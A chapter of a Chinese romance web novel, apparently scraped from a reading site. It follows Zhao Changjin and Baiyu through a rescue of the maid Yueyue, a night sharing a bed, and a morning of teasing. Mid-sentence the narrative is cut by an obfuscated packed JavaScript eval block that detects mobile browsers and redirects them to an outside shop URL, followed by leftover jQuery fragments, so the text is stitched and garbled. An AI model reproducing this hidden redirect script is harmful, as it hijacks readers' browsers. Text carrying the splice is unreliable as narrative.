默认冷灰
24号文字
方正启体

12. 惺惺相惜

作者:葵安朝阳本书字数:K更新时间:
    或许他想说的是:以你的身份,和我重新认识。


    但说出口的,却是想让她做他赵长锦的妻。


    白玉没听清:“你说什么?”


    赵长锦眼底温热散去,覆上一层薄霜,心也冷静下来:“没事,我们走吧。”


    他还不懂,内心澎湃的究竟是什么,他安慰自己,许是觉得她善良,潜移默化地,把她当成了自己人。


    赵长锦跟在她身后,一遍遍在心里问,厉青挽的这张脸,他不应该感到愤怒吗?哪怕她不是厉青挽。


    可他又是什么时候对这张脸免疫的?


    白玉走在前面,看不到他的表情,只关心晚宴时赵长锦都发生了什么:“后来呢,你躲进帐篷里,他们把你怎么样了。”


    赵长锦思绪抽离,愣了半刻:“他们悄悄在门外放迷香,被我察觉了,还听到他们说要陷害你,我便赶过去找你了。”


    “原来如此。”


    白玉思忖片刻,若不是赵长锦识破了他们的计谋,恐怕她现在已羊入虎口,跳进黄河也洗不清了。


    她转过身:“谢谢你救了我。”


    虽然读不懂赵长锦这个人,但功过相抵,之前在酒楼的事儿,白玉也不计较了。


    少女天真的脸,眸光犹如一汪清澈的湖泊,赵长锦对上她灿烂的笑容,心头一颤,眼眸也布上一层光亮。


    这还是有史以来,第一次有人对他这么笑,温暖干净,不掺任何杂质。


    赵长锦自幼便与其他孩童不一样,他能敏锐地察觉到他人的不安好心,这种不属于幼儿的天赋,父亲母亲也是知道的,正因为知道,所以他们待他异常严苛,不许他乱说话,更不许他与同龄的孩子玩耍。


    他的童年是孤僻且幽静的,他从未见过母亲对他笑,府上姨娘们也总笑里藏刀,除了弟弟敢与他多说几句话外,剩下的时间都是他一个人度过的。


    直到后来,厉家来犯时,他才知道父亲母亲是爱他的,但同时也在忌惮他,忌惮他的聪慧,怕他给赵家惹出祸端。


    他牢记父母的教诲,得到的却是这样的下场。


    他不甘心。


    和厉青挽大婚后,赵长锦第一次正式与父亲交谈,说出了他打算蛰伏,等待时机灭掉厉氏一族的计划,父亲没多说什么,点头同意了。


    如今大计将成,却搅进来一个素不相识的人。


    他抬眼看她,眼底的纠结愤怒溢于言表。


    白玉站在不远处,见他呆愣在原地。月光黯淡,她看不清他的脸。


    气氛安静得可怕,唯有徐徐风声。


    一道女子的呜咽声刺破寂静长空,打乱僵硬的局面。


    白玉循着声音摸索,发现声音是距离自己最近的营帐发出来的。


    她本想敲门询问发生了何事,却发觉门是虚掩着的,她才碰到门,便发出“嘎吱——”一声刺耳的开门声。


    白玉愣了愣,怕自己多事儿,惹人误会,忙道:“有人吗?我听到你的声音不太对劲,所以想问问看需不需要帮忙?”


    月月被人绑在床脚,嘴被堵着,一听到是小姐的声音,连忙激动地发出“呜呜啊啊”的声响。


    得到回应,白玉迅速跨入屋内,靠着昏暗的月光,找到桌上的火折子,点亮后,看清月月发髻散落,被人绑在角落里。


    她焦急地跑过去,把火折子放作一旁,给月月松绑。


    绑她的人,实在谨慎,白玉累得满头大汗,却没撼动麻绳分毫。


    她想起了营帐外的赵长锦,大声呼喊道:“赵长锦你在外面吗?月月在这儿,你能进来帮帮忙吗?”


    赵长锦回过神,才惊觉白玉不见了,他往白玉呼唤他的营帐去,进入屋内很快便把绳结解开了。


    趁着赵长锦松绑,白玉也将月月捂嘴的布揭下。


    月月一个劲哭,紧紧抱住白玉:“小姐,我以为我要死了,幸好你来了。”


    白玉安慰她几句,便和赵长锦搀着她回了营帐。


    月月在丫鬟里,也算是主子眼前的红人,所以住的营帐并不小,还挨着白玉的营帐。


    他们把月月安顿好后,便一同回到了白玉的营帐里。


    她没想邀请他,但在进屋前,她多嘴问了句:“你住在哪?”


    赵长锦打着灯笼,指了指马夫住的矮帐篷方向,一句话没说,但也什么都说了。


    他的待遇,连厉青挽府里的下人都比不上。


    白玉无奈,只能让他进屋将就挤挤。


    本以为两人又是尴尬地对坐。


    谁承想,赵长锦竟一点儿也不客气,自顾自躺到榻上,阖眼便睡。


    白玉惊得樱唇小口,都变成了圆形。


    她紧急追上去,拽住赵长锦覆在身上的被衾:“你干什么,这是我的床,我的屋,你睡了我睡哪?”


    赵长锦双手立在耳朵两侧,两手一摊,戏谑道:“那我可不管,天天打地铺谁受得了。”


    说罢,他便背过身去,身体死死压住棉被,开始假寐。


    白玉生拉硬拽,却是影响不到他分毫,自己反而累得大喘气。


    她可怜巴巴地蹲在床脚,眼里写着三个大字——不服气!


    凭什么他睡床,她睡地上,明明是她好心让他进屋的。


    耍无赖是吧,那她也不管了!


    白玉翻身上榻,干脆压在赵长锦身上,像一块薄弱的石板,僵硬得一动不动。


    赵长锦耳根通红,没忍耐多久,便野蛮地将压在身上的人,双手一举,一抱,扔进了床榻内侧,他自己躺在外侧,背对着她。


    白玉脑瓜都是蒙的,他刚才把她举起来了?举起来了!


    这厮的力量恐怖如斯!


    她不敢再折腾,只小心翼翼抓住被衾一角,给自己盖好。


    一刻钟后,白玉呼吸变得均匀,手脚不受控制地开始霸占地盘。


    她睡得很沉。


    赵长锦额前汗珠如豆,没敢动也不敢起,怕弄醒了她。


    他如今二十二,是个成年的男性,他还从未和女子在一个屋檐下独处过,尤其是共卧一张床。


    无论是谁,都不可能全然没反应。


    赵长锦在极力克制,哪怕屋内萦绕着她的幽芳香气。


    一夜未眠。


    直到天边光亮升起,赵长锦才轻轻挪开她压着自己的腿,虚脱般坐


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347632|199548||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    到地上。


    他穿的长袍被汗水浸湿,紧紧贴在身上,鬓角墨发上还挂着汗珠。


    赵长锦耳根通红,眼眶也有红血丝,他不敢看榻上少女。


    因为他的克制和博弈,还未结束。


    赵长锦径直走出营帐,去寻找能降火的凉水。


    *


    白玉浑然不知,她醒时,是被月月准备的饭菜给唤醒的。


    “好香啊,到饭点了吗?”人还在梦里,喉头却止不住地吞口水。


    月月可爱的小脸凑过来:"小姐昨夜没吃晚膳,月月特意准备了早膳送来,希望没吵到小姐。"


    “怎么会呢。”白玉奋力睁开沉重的眼皮,“我正好饿了,快扶我起来。”


    月月被白玉滑稽的样子逗笑,忙搀她下床吃东西。


    白玉每次吃饭都跟饿死鬼投胎一样,不知是不是月月做的饭实在太香,还是真的饿了。


    这次也不例外,很快就光盘了。


    月月看她吃饭是一种享受,除了弟弟,这还是头一个吃她做的饭吃得这么香的人。


    白玉吃饱喝足,打了个嗝:“月月,今天秋日宴有什么安排?昨晚忙着找赵长锦,烤羊腿都没吃到,不知道晚上还能不能再吃。”


    月月收拾碗筷:“晨起时,老爷身边的管家说,今天没什么事儿,就让大家自己骑骑马狩猎放松放松,明天便回去了。”


    “这么快!”白玉努了努嘴,“这秋日宴也太没意思了,什么都没干呢,就要结束了。”


    “没呢,剩下的节目在厉家举行,这里只是开场。”月月放下收拾好的碗筷,坐着跟白玉聊天。


    小丫头眸光一转,对白玉说:“对了,刚才我看到姑爷在河里游泳,这马上要入冬了,他有这么热吗,一大早就去了。”


    白玉“扑哧”一笑,想起了昨夜,在下人房里,他面红耳赤的样子。


    说起来,她睡眠质量实在太好,不知道睡着以后,赵长锦是什么表情?


    他会不会受不了她,自己打了地铺?也说不准,万一是回他帐篷里度过了一夜呢。


    不过,想想也是,谁家好人大清早去河里游泳,那水这么凉,他不怕感染风寒吗?


    练家子果然不一样,不是她这种普通人能理解的。


    见白玉没答话,月月也没计较,继续说道:“我看到姑爷是从小姐房里出去的,昨夜你们睡一起了吗?”


    白玉思绪回笼:“你说什么?”


    从她房里出去的?昨夜他没走?


    那他一大早跑河里,难道是……


    白玉吓得低头,检查起自己的衣裳是否完整。


    还好,衣服都还在。


    才松了一口气,白玉又想起,赵长锦昨夜给她腰带打结的样子很娴熟。


    月月被白玉猛喊的一嗓子吓到了,眼神聚焦道:“小姐真给姑爷拿下了?”


    白玉脸颊倏地绯红:“没有没有,你别瞎想,我可没有。”


    “那你脸红什么?”月月盯着她看,“不对劲,十分得有九分的不对劲。”


    白玉眼神空洞,也开始怀疑,昨夜他们共处一室,是不是真的发生了什么?
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)